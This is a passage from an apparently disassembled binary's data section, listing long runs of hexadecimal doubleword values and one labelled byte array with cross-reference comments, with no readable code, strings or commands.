dd 0C9230409h, 0B9AB0490h, 0C6200035h, 8AE6DF15h, 4E0067E9h
dd 0F10A64BCh, 57974Bh, 0C510E35Eh, 46761B6Bh, 0DC8EE900h
dd 91089094h, 0D662004Dh, 0E3DE7715h, 6D005CAEh, 0F12370C6h
dd 74DF1DBAh, 0A57B8Ch, 0D5F9F3E8h, 0AD6585D6h, 0B5B4C200h
dd 1ECFADAh, 9117938h, 569A797Eh, 7D6A807Dh, 4830DFEAh
dd 9B1731D6h, 4B57007Fh, 0E07414D5h, 0E1E43209h, 0A1600160h
dd 0CB209B99h, 886600AFh, 0D07524C8h, 8D1219E3h, 2C00357Ah
dd 0BA515FCCh, 0F098009Eh, 2A471E2Bh, 312B750h, 1A00345Ch
dd 11FDDCAAh, 5E910E38h, 0ADE08F7Bh, 84965B8h, 6C56F0Fh
dd 654C0F3Dh, 88805995h, 0C9E412h, 0BB38744Bh, 0D19F314Fh
dd 8F6BEFEh, 8EE6F100h, 9BAF5EE0h, 0A8900220h, 0C1DEA34Ah
dd 1F75C480h, 0AE380E5Bh, 0E6FD80DFh, 8A92F7A4h, 45CA0025h
dd 0C34F6CBDh, 0E500A34Bh, 0DC1E08C7h, 34B550h, 8464AD80h
dd 868D5D21h, 0FC725303h, 9FDEE1D6h, 5983C70h, 0B7AB0E4Eh
dd 0B540B22Ah, 0CDDCFE3h, 0F57BC100h, 0E1E99054h, 0D38A00A1h
dd 9E9AE031h, 550F9712h, 0C0330A99h, 0ECDC797Fh, 252007Dh
dd 0DDE3A926h, 840EE79Fh, 420A315Ch, 400E5FF3h, 9CF8F4h
dd 62252C0Bh, 7B9235D0h, 739ADC00h, 94120816h, 0E02A4AC2h
dd 24E49E2Fh, 4400457Dh, 0FCA30F7Ch, 1C1B974Ah, 477EED5Bh
dd 0B0E605D2h, 0CECCF666h, 0B6192D00h, 7D28AF6Ch, 2D609DDDh
dd 0E0074461h, 0C0F08668h, 32A75510h, 38517492h, 4C808F43h
dd 82C583BEh, 0B903DD42h, 0FA400F9Fh, 0B0ABC8EAh, 53CE0072h
dd 69466A88h, 0FFB886A5h, 5F17101h, 9D8A22E5h, 310F1C32h
dd 0B854B248h, 1C00113Eh, 901B8D7Eh, 43007417h, 9FEF68AAh
dd 14A07C7h, 0BBEA8693h, 0CCDC59CBh, 0AB0F5EFDh, 815F67D4h
dd 0F719E2F6h, 7F8A6ED4h, 28CA0CDh, 1DC40657h, 0A15E8929h
dd 18071C90h, 0C0871395h, 521937F0h, 0C7FFA24h, 860E8B2Bh
dd 0E07C3928h, 74CD591Eh, 0E07BC94Fh, 6780E2A4h, 0E1A10029h
dd 0B9C60B3Dh, 561F3045h, 1743851Ch, 98E020A9h, 0AAC2F37h
dd 10E8659Dh, 0FDBF0FD0h, 84FBA4A0h, 99302CF3h, 0BB52E0CBh
dd 8E2F243Eh, 34A20088h, 7A63A3B6h, 7526891Fh, 0B71E3F40h
dd 405C52h, 0DE0ED942h, 1C4DC492h, 0EB00DC90h, 8E36D6A5h
dd 835A20h, 0AB3F4113h, 0B511FF14h, 17ADD300h, 0CF276DC3h
dd 0B11C1C9Bh, 0BE2A8703h, 0C1875030h, 0B458A559h, 0ACD02A5h
dd 48D5284Fh, 7D08B1ACh, 0AACC009Fh, 6A22779h, 2A7B8D91h
dd 5110700Ah, 2900872Dh, 0B8E61192h, 50FE00C1h, 311C3B39h
dd 6900B486h, 0DF700267h, 4CF629BFh, 0A00F445h, 0A14DBA99h
db 73h
byte_520045 db 0DEh, 16h, 8Fh ; DATA XREF: ___:00437DC8o
; ___:00437DE0o
dd 98004EE0h, 9554D4A4h, 0F25E0019h, 26585069h, 6100C7C1h
dd 6B474D1Dh, 0EF344FDh, 937E5977h, 2400B5E9h, 9A62E2C6h
dd 0E66BCF00h, 0EDBB910Dh, 88158F2h, 1944D300h, 0B8B36556h
dd 13006C76h, 0ACEAAD55h, 0ED83BCh, 260D39A7h, 0E8D7ECBDh
dd 9E7C50Eh, 0D843408Ch, 7A32FEh, 0C340304Ah, 0A3ACCD1Eh
dd 5423751Ch, 96CC1542h, 0D9C40ADh, 83F40079h, 467F706Eh
dd 3000B4CDh, 971F5C4Ch, 506CFDh, 4F513E76h, 7D05DAEAh
dd 428D2C1Eh, 106180F9h, 0A25877ADh, 8EC91E5Ch, 8F754396h
dd 35A0E4E8h, 0FE005356h, 12D709E6h, 266BBD62h, 80D0F2B3h
dd 0A3245EF7h, 14020D95h, 0F11CDA98h, 0B8A9E364h, 0A551E8h
dd 87D28A50h, 3C676CC3h, 0B3009C98h, 6BAFC496h, 1D8E9F75h
dd 836A82CEh, 0CA92ED3Dh, 97FFDB90h, 207F242Ch, 9E786D00h
dd 486887D3h, 0C100B819h, 280EDBF6h, 36161073h, 0BF016B2Eh
dd 233F971h, 5170841h, 0D0C70B13h, 7F6A8149h, 0DED25700h
dd 834246DBh, 0BECE0068h, 3164CC5Ch, 0D80028FCh, 22DADD4Dh
dd 3C9370D3h, 81001A34h, 0C3CCF8EAh, 6BFE9E79h, 9BED38h
dd 305B5C2Eh, 0E9F67B33h, 1E6FA3E0h, 7A1DB7h, 9819ACD9h
dd 47167F17h, 400491Fh, 0E27C40F8h, 0A4F15DF4h, 8285CC00h
dd 3D26BB19h, 1E74D378h, 0CEB7CD00h, 15673CDDh, 0E9A200D4h
dd 0F875358Fh, 0F0E9307h, 20D202E4h, 0A2820533h, 0D4FA00ECh
dd 8DE30475h, 28007120h, 395B9DC7h, 3C1D8A38h, 37802612h
dd 458CA266h, 0CE00D1E8h, 0DFF6F140h, 0FB86F41h, 4F2A7E8Bh
dd 0A02CCCE0h, 0F90778D6h, 0F01C72F5h, 82D0FD47h, 7DA7E9DDh
dd 0BDD20050h, 658D57EBh, 0CA00AECFh, 7A117E61h, 7760E2Eh
dd 35EF1640h, 5B38C083h, 7B0006FCh, 3C02942Ah, 54BB12ABh
dd 0D68407h, 0FE31A22Eh, 15674E9h, 2F3F7B13h, 6C2C1440h
dd 0EB6D39Ch, 4D1B3D5Eh, 800F0839h, 9C347221h, 4FD57Ah
dd 1416B350h, 3AE1268h, 51CD61C3h, 1005FB2Fh, 0FDB168h
dd 72283F3h, 905D047Bh, 0CE0212B3h, 3F38406Ah, 9199AD0Eh
dd 680D727Fh, 3820C598h, 0A8752199h, 1F691878h, 63B5C29Ch
dd 73000111h, 0B5EF9C31h, 92182E62h, 0B750222Dh, 506600F0h
dd 0DDAEAFE1h, 0B2000933h, 0AB3A32B0h, 3034CCBFh, 557976C9h
dd 6301C84Ah, 0DD2EA09Eh, 89870F4h, 43DB2108h, 152FC25Ch
dd 2E80F9D5h, 3D33EEh, 504ADE11h, 0E059DAh, 0A316B64Fh
dd 1D76732Bh, 47047403h, 8DDC5E77h, 0C9217490h, 0CB62C0F0h
dd 0DB460E11h, 773508C6h, 0E11F0120h, 3A5D8CF0h, 0B0F8FCD2h
dd 4875AD36h, 1E0A2058h, 0D7B72407h, 40905EDEh, 0DA0D5h
dd 0C9499F46h, 0F27494B0h, 5FEB200h, 9C71DB59h, 0C2BA0EAFh
dd 0E4608E9Eh, 99F9346Ah, 0FD355D00h, 69B6CAFEh, 8B9B008Ch
dd 9078F824h, 82006BBFh, 0C1D8D038h, 0CABBECh, 0E83D893Ah
dd 676D5A16h, 18004DFEh, 778478C4h, 8137E3h, 0A2608AB3h
dd 11D82B99h, 96004171h, 40C456A6h, 0C574CBh, 78B0DD04h
dd 9859F2Bh, 73925C07h, 0E7503EEAh, 1E3676h, 70745E7Eh
dd 5583F17Dh, 18BED900h, 8F4058A5h, 0C1D70323h, 90575E36h
dd 80DD15E9h, 6D727C38h, 0A43725h, 8DF6613Bh, 0A6B549F1h
dd 128F391Eh, 0E1AD2D4Fh, 3D732F70h, 62F0B0CDh, 0F3670FE2h
dd 238672A6h, 12001960h, 43338B57h, 0D42B2Dh, 49F30931h
dd 2129AA30h, 0F770581Fh, 41309558h, 1F40C4F5h, 0B55500B7h
dd 0B831220Ch, 6BF33CACh, 0BAC8F430h, 7800423Ah, 303976D2h
dd 4F69B7h, 3745B6Ch, 6BCB86FDh, 0B6DB171Dh, 0B0012830h
dd 0D3F176h, 7028AB38h, 870449C3h, 3E080E00h, 307D034h
dd 101E7C13h, 719BE79h, 0B4181B0Ah, 0F87A5DF0h, 0DE3B013Ch
dd 0BFBDB92Ah, 492FE802h, 85F9E8FDh, 0F511F806h, 119D98Fh
dd 709ECF2Dh, 0F1DD3CAEh, 0BF5D103Dh, 92FE0C3Bh, 426852DCh
dd 0D62A9313h, 98B0CA00h, 73FE25B7h, 495F01B9h, 66F9D060h
dd 0DF85E421h, 4F48CD60h, 89401Ah, 7B78F51Eh, 0CEF183ACh
dd 0C71CA974h, 42026B08h, 0A1334D28h, 55D80998h, 0A5CC7180h
dd 1F112E6Bh, 4EEE6D00h, 3B5C2906h, 0B81A3977h, 1CB93h
dd 64FB2D62h, 0B500B2CEh, 917A7DB0h, 0C06324h, 2D4FB4A0h
dd 2B8AFA21h, 0D2585D00h, 791666E7h, 0B0F60098h, 3E7B142Eh
dd 0A13E3DC0h, 60F7001Dh, 0CC075DF8h, 2B89030Dh, 7F6E7242h
dd 0C522180Ch, 245023h, 26DEE699h, 8B02E395h, 0CC2EA17Ch
dd 68001D60h, 32A3B0E2h, 0F8BD309Ah, 46AF2380h, 8309043Dh
dd 0A7C53AC0h, 0E465B36Bh, 7C7F8983h, 0D9ED0088h, 0BAABE3DAh
dd 0F300C112h, 97E2CCF5h, 353FAA7h, 0ACB97922h, 0A9C88590h
dd 5C265BA1h, 0C40F02CBh, 6EAD038Ch, 23C91798h, 0EB8169Ah
dd 2A2C7509h, 8F30B4C0h, 84B7C8D8h, 80F6000Ch, 144CAD94h
dd 9C0187EAh, 8301C34h, 44A1DDFh, 402FC0ABh, 780819Fh
dd 929028B2h, 294B204Ch, 8E00DBA4h, 0A13C7D51h, 1E9F486Ch
dd 7965C0h, 9780FB7Fh, 537CB581h, 7D928300h, 0B66E0828h
dd 0B950013Ch, 6402904Fh, 9807F094h, 5C1C431Eh, 9D925887h
dd 29FA0B0h, 0DEDD0783h, 8067A251h, 88B76959h, 9DB4C000h
dd 60D42F9Bh, 11661CE1h, 0B7B8309Ah, 7A009247h, 86D81785h
dd 9496BCFh, 2AF2F0B2h, 35E73080h, 0C3504E13h, 9F446C14h
dd 0BE2446Eh, 9D542284h, 0BA114042h, 827217Fh, 1490511Bh
dd 44D62D84h, 98449B73h, 42684847h, 4F228E41h, 480F2299h
dd 0F021BC24h, 103B127Eh, 50884269h, 7B398864h, 0E6089789h
dd 0A0A4C344h, 89824728h, 444308A3h, 14A0F8BFh, 7F899A1Dh
dd 0FB442F08h, 0C427898Ch, 593F68B3h, 94A1801Eh, 0BCDF404Ah
dd 4BD81DCDh, 1D504E3Ch, 0CF1AB380h, 7D16BE2Ah, 76006544h
dd 0A899BA64h, 6721FA2h, 9D95C0D8h, 67B4CEA0h, 0B068B800h
dd 0E693CB13h, 0D43F0029h, 0E8B524FDh, 3300D725h, 0BEA28D68h
dd 0AB95B2h, 2DAF1A04h, 6FBB665Ch, 0C5F6C107h, 79F2F3Bh
dd 20C0DD90h, 9CFB26h, 9B496CF0h, 2BE48795h, 5004BB03h
dd 0E09668F4h, 0FE3A4C5h, 0A51F05B3h, 39EAACE0h, 8400E813h
dd 0B1D273A2h, 0FBEFF8h, 0E043AF2Dh, 9036021Ah, 0FF8F7C02h
dd 484B8406h, 0FE2A8h, 74BC47FCh, 52F205E6h, 0BE969100h
dd 6C6DF4EEh, 115700B0h, 0E44FED63h, 5600E88Fh, 0E040FE9Dh
dd 182CAC28h, 10AEEB3Bh, 0C20076E3h, 0EA1F0EFh, 4CAA170Fh
dd 900E437h, 8E467C6Ah, 0B13929D3h, 0FFAF003Ah, 0DBDC3785h
dd 7E2700C9h, 32EBC307h, 0D228351Eh, 750EA065h, 0C06CE437h
dd 24D87CE9h, 22A901C5h, 0FC87B45Eh, 152980D0h, 60CBF55Bh
dd 0C5663D0Dh, 2CA42600h, 0C3712E05h, 0B3909400h, 0B1DD92BEh
dd 8619C044h, 38ADE6E1h, 0F5D61B00h, 8BA0889Fh, 0AA7600A2h
dd 0D3932C6h, 0CE00F769h, 9D7F04E1h, 35816Fh, 7745744Ah
dd 0BB75DB60h, 3CE9B501h, 3327788Bh, 0A041D4h, 66D6DD3Fh
dd 0C4FBD530h, 0EB010898h, 23EA124Bh, 7EEC2B3Eh, 0E4AB0048h
dd 4AF7730Eh, 91C5A41h, 4C026C8h, 0BD3C9F49h, 493576F6h
dd 0AD00583Bh, 259CE4E9h, 0A024CBE1h, 6F000CA3h, 0A805344Eh
dd 0E0C03D39h, 60094F00h, 991CB2E7h, 0D5928E00h, 23176662h
dd 2A88A09Fh, 73BB03AAh, 2FFCDBACh, 3580D683h, 0F20023CDh
dd 6709CECAh, 70420B0Ch, 34B439E0h, 0C96C8900h, 267BB393h
dd 0D395AF00h, 518D453Fh
dd 0F8660108h, 0E0B57C4Ch, 0D47BE941h, 840128D1h, 4E1E2575h
dd 0C24A5A7h, 63052102h, 0C4D88400h, 395FA0FBh, 78007B41h
dd 0B09CF882h, 89019331h, 0C10D1263h, 0EBF990DEh, 137CB820h
dd 168344BEh, 2D9A07DDh, 4126C0CBh, 3B00B8AEh, 58E71BE0h
dd 7B49B22h, 5997B116h, 29A3E174h, 8D12C075h, 7F913602h
dd 4072655Ch, 6BB700h, 209E157Dh, 615EB2C3h, 0B6147879h
dd 2EC1EB9h, 0C9725F8h, 0E0DF00C6h, 55003C81h, 0E2878812h
dd 3B1318B4h, 860E3E03h, 1A60B69Bh, 9520151Ch, 4CB14Ch
dd 0EE529F2h, 0D9F648h, 5F1FCCBAh, 0BB1EA5FCh, 0C3ECAE50h
dd 8040653Dh, 8C4C6613h, 7FD7E2h, 0E6DEA10Bh, 0FCEADBD4h
dd 0B06B48h, 668A2D6Ch, 58CC3Dh, 0CA6526F3h, 0D9A1D7C3h
dd 0E6C8003h, 0B8863B28h, 1F6D9BC4h, 8603B749h, 10E587C7h
dd 0C3957202h, 81699E4Fh, 7D586DCh, 1FC1831h, 4CAC075Ah
dd 0A5C0F1D2h, 3FB0007Fh, 96B0585Ch, 7B3CEE07h, 890E1D80h
dd 4E6480B4h, 0FEDFB8C5h, 9B5E1DC9h, 0C0321C46h, 8DBE5D11h
dd 700F4841h, 4FEC1659h, 0C517C01Ch, 0F1388Ch, 3EF0CB63h
dd 0B51F248Eh, 68C14600h, 0C23699E7h, 0A67200FEh, 7BB6E9AAh
dd 9600F8A3h, 0DAD6F6E6h, 9F2D23h, 0FEAD356Bh, 0C7958DFAh
dd 0D3C67D14h, 86E700D8h, 783D7EE9h, 35DF1F34h, 482B808Eh
dd 0D2DECB61h, 23849F00h, 0C0B6EE5h, 0BF9100DBh, 6C2D11DAh
dd 0C0001E60h, 4727A4A1h, 20D4BDE3h, 2B139F95h, 782477DDh
dd 6E8017C7h, 722AE7BDh, 0BBAD1D65h, 0B52C401Bh, 0B933FE7Fh
dd 8739E500h, 0C741FFAh, 0A7BD0105h, 8DC93A8Ah, 662E43Eh
dd 0A8F9E907h, 0D3E202B9h, 0CB706BF4h, 0E047A027h, 152D005Ch
dd 7BBACB40h, 62F8A7EAh, 0A02ABE00h, 0FC3F1BFBh, 0E7A5005Bh
dd 3E3B6C2h, 88003A4Bh, 8B02C7D1h, 7AC2A49h, 0A28339E6h
dd 0C81150E8h, 203F604Eh, 63FF853Fh, 6780B479h, 12264508h
dd 1662774h, 3D0CC36Ch, 52E1D8F9h, 20F65A00h, 0D6EA3A61h
dd 0F05E00E0h, 324EC7C8h, 5A0013DEh, 0A51AF61Bh, 137B3F3Dh
dd 35F831h, 4746BC65h, 0C8008BF0h, 98505287h, 0FEDBA940h
dd 363300F3h, 751220FAh, 2F00444Ah, 0D58237BFh, 0A606E9h
dd 46DDA3C9h, 0CF406A2Dh, 18EA5930h, 7420E50h, 879A0490h
dd 94E92E4Ah, 0DAC1A88h, 24FC0353h, 0C6C0BBD0h, 3F4CB15Ah
dd 9BC900ABh, 185C57B2h, 0D100BA87h, 1039594Ah, 7E78B9h
dd 0C6EBAC8Fh, 2C6C7925h, 5D8D8200h, 94F31518h, 299824B1h
dd 31FF840Ch, 56444024h, 0F255D167h, 0B2B71316h, 2D88007Bh
dd 0AF0EB663h, 5D68F600h, 0D7E62460h, 0D38800DBh, 8144FA1h
dd 2B00D27Bh, 0D66F8162h, 3E494B5h, 64833675h, 6F974FE3h
dd 34244360h, 7D00AD1Ah, 0D0A3DDA2h, 0A8D385h, 97CFE667h
dd 52C4E36Bh, 0A70027F8h, 0CC88A0A3h, 74143A93h, 0AF480041h
dd 13772A8Bh, 0D059E63Eh, 808C00FCh, 78DC96C5h, 4ED50EB3h
dd 0DA232DDFh, 6DE2CE0Ah, 45CAFFC0h, 47DB6900h, 0B818FDDDh
dd 5EC20FE4h, 20808443h, 0D1C0DEC8h, 2D279B00h, 2254C379h
dd 428D3CEFh, 0C6C77A80h, 5CBF97Dh, 8082D53Eh, 41A4ECAh
dd 970ACF1h, 2F293025h, 1D287880h, 9B3C92FAh, 5AB83EAh
dd 1CBFFD86h, 0C0C4B3C0h, 45DF3A68h, 0CE00C91Dh, 0DA03D55Fh
dd 7CBB650h, 0AC809786h, 80C7959Ch, 0B08E6654h, 0F3C681Ch
dd 0D570A80h, 0E3FB60h, 5E7C7AD6h, 0D713DB66h, 415883Eh
dd 530FB535h, 43C9C782h, 1997E824h, 0CA6D050Eh, 819A6FDFh
dd 20FB7863h, 93016E62h, 7402718Eh, 0A9F8D87Dh, 0F3110020h
dd 7040BD21h, 0B10ED1AEh, 61573134h, 9A5316ADh, 9DB2420h
dd 3F44097Eh, 1AD63840h, 0A0D03900h, 0D8478293h, 0E34816BBh
dd 3764038Ah, 2800CEE8h, 0E472541Ah, 0B0A8F5D1h, 344D0CF4h
dd 3FB0CB99h, 0C6237F00h, 27A7F22Ah, 16147F4Ch, 409986B3h
dd 0B59A106Ch, 0BF02373Dh, 790A18F5h, 0AE76C1BBh, 0E847F88Fh
dd 0E1F18E07h, 241B0E05h, 200637Ch, 0D3FC0FE1h, 58605A70h
dd 0F4000C06h, 65A5D8C1h, 86040C59h, 7A269182h, 0EFD18480h
dd 28050037h, 0C420EE1Ah, 0ED00D881h, 21557770h, 12C2B1F3h
dd 9F59CEh, 3B6F3D73h, 0DD0F68B3h, 0A042CB49h, 368A1B1Dh
dd 0B8A109FDh, 840093C7h, 0B250D961h, 0B4EA88h, 95302AE2h
dd 0D1457217h, 89D41F0Ch, 88882h, 66E29CEAh, 0B04B2A4Dh
dd 820514Ah, 10B2E6h, 0BEA28CF8h, 2643A3F6h, 9078C900h
dd 2CF185Bh, 60EC16D4h, 5DD400FFh, 72D5BB6Bh, 9D045F00h
dd 20CDE1A0h, 7A273B2h, 0C283E858h, 2882DBBEh, 30587689h
dd 44981F0Fh, 2DE7A03Ch, 2ED78CE5h, 37218FAh, 89E1ADEBh
dd 0F4058BD0h, 55CA45Ch, 0EF9CA22Eh, 0D158B400h, 6E0F5Bh
dd 4C5D9B8Fh, 3E24753Ah, 0E2AD2B00h, 9D01AFA3h, 8AA600EAh
dd 25641069h, 0C0016874h, 4A306F4h, 0B4D0D888h, 42B603EEh
dd 74AE1AF7h, 829750F0h, 83B9E60Eh, 236E202Ah, 0E04A7Fh
dd 7D0835E3h, 0A36B5975h, 0BBDB5D00h, 0D0B979Dh, 0D17C0103h
dd 0EB394466h, 0BE74F881h, 910F2914h, 30F008C0h, 424A3C1Dh
dd 49EC2B60h, 0D85F38E1h, 9AFE3665h, 0E34AD207h, 0B4F06454h
dd 88D322h, 90464BBEh, 5D1D6DB3h, 0A2E84300h, 0A6D8F9F8h
dd 0F20B00E3h, 0AAC722C4h, 96005BD4h, 0D9E90F56h, 3A1C09B2h
dd 90F939A9h, 0C5980012h, 1149D5Eh, 193C86CDh, 68F9A64Ch
dd 0DFAEEB00h, 75430C37h, 4A7C52h, 0EBB2A88h, 7C56362h
dd 0FC993600h, 4CA51B87h, 0DA260E5Ah, 27E0D0BBh, 59F1487Dh
dd 35D6E809h, 0C72407EEh, 81BDE780h, 2887AB4h, 177A026Ch
dd 8340C33Eh, 8B4F6FBAh, 0F89BC9C3h, 7C133C70h, 45B800C0h
dd 8FF2B525h, 1400FC94h, 2B10F7F9h, 30FCE73h, 8B159B43h
dd 49D074E7h, 0B30038A4h, 0E8103AC2h, 9E5D5C2Ch, 85EB0EB4h
dd 68B614E0h, 349AF7E3h, 90CB4A00h, 6C9886EEh, 91F27Ch
dd 71CA05E5h, 56AE95CCh, 0A0669D0Eh, 94806084h, 0C3E0BAh
dd 9821DE36h, 3247EE9Fh, 0A7BC80A0h, 53D39A00h, 5BFBCEB5h
dd 23520CC7h, 252030ABh, 7343A91Dh, 935AC3C0h, 31EB71Dh
dd 0FCDDBD1Fh, 1BF0424Dh, 0E60B3102h, 60C54686h, 4D9E5A18h
dd 8C1034E2h, 0B53800EFh, 0DD0941ECh, 2EC500D2h, 0E47079EDh
dd 9B00AA85h, 7178B16Fh, 0EAAE6AEBh, 0C6870063h, 1907EDD2h
dd 5B003EB3h, 0E605FEACh, 0E0A30270h, 75C8EB78h, 50F376FFh
dd 2ED353h, 0D03B45D7h, 0E4496D1Eh, 0BFC3340Bh, 2AA880FDh
dd 41304Fh, 267631B7h, 0A0FCA9CBh, 9EF4F200h, 82BA5B62h
dd 2BE7007Fh, 0EF9B1EC7h, 41042FC2h, 0A34964DBh, 0E52948D0h
dd 9DF204B3h, 802F62FDh, 28AFD9BCh, 74A73F18h, 0E2F17610h
dd 0E6903ABh, 56E07B68h, 8B2D1800h, 4454191Eh, 0FA27F0F4h
dd 8D3C00DDh, 1DBAB34Fh, 3000552Bh, 0FC960915h, 0C07FAC25h
dd 74C3BE79h, 5F2E2CE6h, 13004E29h, 4B1176B1h, 1372B860h
dd 0C0632516h, 186A472Ch, 0ED2CA4Ch, 33B326h, 8FABCD60h
dd 1F547B7Dh, 9ACB0EAh, 3020349Fh, 5326D608h, 0B1141A30h
dd 358BAFBh, 0F2324361h, 191E29FFh, 0C013ADDBh, 0FC74DF00h
dd 30433E1Eh, 1521A331h, 3A00755Ch, 4D0F69E9h, 243F469Eh
dd 70E42Bh, 0B5ED71A2h, 931DF4F3h, 0B340030Ah, 0FB648EC3h
dd 66B7F12h, 0D1A0F99h, 0C1161091h, 0CF00228Bh, 0B6D4C242h
dd 0EDEA2594h, 7291FC81h
dd 0BCF0D890h, 0C0B07473h, 45DA8805h, 3AC54606h, 9F87A983h
dd 60CB8C40h, 5232035Fh, 0C6BACF9Ah, 63B73988h, 0FF02B1F6h
dd 0DB0F2A56h, 3EBC8086h, 22B34B6h, 7768F0A1h, 0C0F7E2F5h
dd 3C679080h, 27800EC2h, 2580F7F8h, 593C1E05h, 47038E46h
dd 0C4FFC920h, 9D89000Ch, 0DC12A325h, 27013C34h, 6165E6Eh
dd 0DC5074E9h, 1EB0FCFh, 527C4621h, 60ECA505h, 840083C4h
dd 0E886D96Ch, 889253h, 1C4745DEh, 0EBB1CF3Dh, 56FC8F09h
dd 3F8080E1h, 39DFD22h, 7CE78592h, 95D135AFh, 34303406h
dd 434DE109h, 815C02A4h, 0D10041BFh, 902D12E0h, 0F7FB2835h
dd 1F5F6A4h, 9716AF93h, 0ECD98956h, 3C004EBCh, 0C66D8CF1h
dd 176E2E0h, 3DB9E71Fh, 3496E1DDh, 0C003C10h, 21587D72h
dd 7582EF8Bh, 3BFD0712h, 0C29F4C2Dh, 9040750Fh, 1900DCB0h
dd 0D3945D33h, 292874h, 0A5EA897Fh, 0CA85130Bh, 80546738h
dd 6B9B186Eh, 2581C9h, 0C6A91E24h, 0BE1C4CC3h, 0B02C48h
dd 90217CA4h, 0B8330486h, 1120085h, 7BC67603h, 79006FFEh
dd 8CBBF0FCh, 0F87F2683h, 0B9D400BDh, 376E16ABh, 0A200220Dh
dd 65EAC5F7h, 18B6F22Fh, 0A9AC5ECAh, 4A005059h, 6D66F729h
dd 701692EDh, 0A2F224h, 7FEE82ABh, 0D0C78A6Bh, 34FB8D0Eh
dd 47F5C060h, 0E216BFD5h, 1420003Dh, 4EB5CE10h, 620A427Fh
dd 0D8846ED2h, 2ACFBC00h, 48B737E5h, 6900A993h, 0C81AC541h
dd 2D180844h, 0B8B82149h, 6AB918BEh, 0C2DF98A9h, 398E7400h
dd 79F2ABE0h, 0BD210078h, 0AA1F8B22h, 28C7AE7Dh, 27D1FB30h
dd 24303EC9h, 0F17982h, 67692F0Bh, 4991E7BAh, 990620B8h
dd 38BEAF59h, 0C7A703B0h, 0D819EEB5h, 40F783BAh, 0F6D1DBFh
dd 79B9995h, 636140DEh, 8CF70F79h, 2DD4E04h, 0A5C08B24h
dd 0E646A0BDh, 9D5300BFh, 89568DFh, 0DD01EF6Eh, 2789A296h
dd 0CCECCB90h, 705901B5h, 0CFF7F55Bh, 0DC106179h, 0FF000961h
dd 0F4B90625h, 0C3C24Ah, 244219CAh, 0EFD4AC69h, 181311E0h
dd 0A800D10Ah, 640E57E3h, 4633001Eh, 0C28D90FDh, 9500BBB0h
dd 8E8A2870h, 1098C37h, 6E0EA756h, 40CE7A69h, 9E52EF94h
dd 76FFCF13h, 3C8A1C80h, 50BDEA79h, 5E7BA22Bh, 83340020h
dd 3897DDFFh, 3EAD802h, 5015A9BAh, 63B0A9C4h, 2A24D43Ch
dd 503047FCh, 24BD88F1h, 2CFDDE0Eh, 526F6FC3h, 69A9D40Ch
dd 29898A1h, 2E85F947h, 0D868CFB3h, 0E001D25Bh, 16B0C4B4h
dd 69800F55h, 0F84E7F1Fh, 2B1ECC29h, 84FCE3C3h, 34695A56h
dd 18ED04C2h, 78027A50h, 0B388CC89h, 0B0A0687Ch, 0E7C31832h
dd 878A114Ch, 3084FE00h, 7A451906h, 29581C97h, 0DE6C24h
dd 371F6A54h, 1A0CB4C1h, 38F6CF1Ch, 0D070BE9h, 0A580A6E4h
dd 5B7FA453h, 50F0C3Ch, 5D898FB4h, 4A091820h, 0C29C0E98h
dd 3B0283EEh, 0CCE0FFABh, 0D006344Bh, 6E6BCF3Ch, 0BC6950FCh
dd 81D300CAh, 0C9330623h, 0D600383Ah, 7F3B0EA8h, 0B53FB7h
dd 0B2027531h, 1CC458EDh, 0CC646626h, 34802F17h, 1DE560Dh
dd 31ACAB05h, 0C867D748h, 1513C4EBh, 50026AEEh, 2A8A20h
dd 236DA1EAh, 1E6FB701h, 0CD9CEF55h, 3200C472h, 4240B6ADh
dd 0AC00C459h, 0E20B5112h, 0C1BB525h, 3060CC17h, 0DD006578h
dd 81FE5739h, 27DC35h, 23C45F67h, 0FAE0B898h, 799A0900h
dd 0B0868219h, 2F2028EDh, 0B6B20ADCh, 1F98F3EAh, 37ADC142h
dd 24F2E069h, 0A001470Ch, 6B297265h, 22AFF96h, 565C4A8Bh
dd 21C88CE1h, 3270814Bh, 35D39BCFh, 0E1D4C8h, 0F745EECBh
dd 0B2C9B7F8h, 4FB53E07h, 0C70EBC39h, 0E0104787h, 0B0680Ch
dd 0E7C249CEh, 0FDEC42B4h, 0B6367201h, 7EEAB90Bh, 505370h
dd 0AE014648h, 2B33AD37h, 0FD207300h, 573614E2h, 0C74916CBh
dd 0E97C00E3h, 8B8DFFF1h, 9762001h, 93E03B0Bh, 7D8E20h
dd 4A38287Eh, 8E6E11E2h, 9475FC00h, 0BCFF0C21h, 5A540072h
dd 24E8A41h, 0AA00C518h, 8EC64F51h, 4F1649A2h, 37BC43F8h
dd 0D0DD364Ah, 0CAEAC6DCh, 0D503B600h, 3D5248E2h, 160D1C41h
dd 0BA1300C0h, 27C1AFE5h, 0DD7B2D00h, 0FFED2052h, 0B1A50F8Eh
dd 0F42058E0h, 5C5AB3D2h, 0EF70BD01h, 7ADD3F85h, 3B88D9C6h
dd 61FA480h, 0E17E6DF0h, 9CA27D17h, 8749E00Fh, 801F4190h
dd 48EE12BAh, 62681F1Eh, 0B804C7BCh, 4D3B2030h, 660767B5h
dd 0D16A036Ch, 0F5B71AB0h, 7F490096h, 1D41570Bh, 616FEEAh
dd 0BA00C572h, 3361773h, 42C61416h, 0DD1EB4E2h, 5FB14078h
dd 0D0CDBBB6h, 834D405h, 68E0137Dh, 0EB3E3CA5h, 6F90B300h
dd 0A4AA01C9h, 24F3B40Fh, 386CC033h, 0F2EB9F4Fh, 81641406h
dd 0D08B4C0h, 1700BBECh, 0AB1B4DA5h, 8A121E24h, 612380EFh
dd 0F0D5B390h, 0AFADBA00h, 34559159h, 0D7EF002Ah, 7DD99ACCh
dd 804C7241h, 0CFF10045h, 0D1010450h, 3D050014h, 0B976236Bh
dd 0C6739DD8h, 687AEB24h, 0FABC1C00h, 0CCF019h, 46477C30h
dd 5E862B15h, 269C2C1Ch, 84143383h, 7AEF8074h, 0ACBF0077h
dd 12A79D2h, 0D100D0B6h, 81431D5h, 25FC4Ch, 0FFBD29ADh
dd 0C67D8549h, 573FC900h, 24D23E2h, 0CDFB008Bh, 0B76BFA9Ch
dd 0F80034E0h, 769081E3h, 1CD087DBh, 4030B2B5h, 1A53B308h
dd 90DD2EE2h, 3E406080h, 0FB35DFh, 6249288Eh, 34EC132h
dd 0FC008B74h, 0DC5DC5A5h, 0F4BA94h, 6186131Bh, 3EACDD92h
dd 66036D14h, 5A1705FCh, 74E26BCCh, 0FC925204h, 0DF9CC0D8h
dd 1A04ADBEh, 9E55D479h, 22190A0h, 4DB393E4h, 80808EA6h
dd 6A94436Dh, 9040A75Ah, 0EE6391C9h, 0BD020042h, 7141560Ah
dd 0B14FE4F9h, 86940405h, 380732C0h, 0D7C184Dh, 10441067h
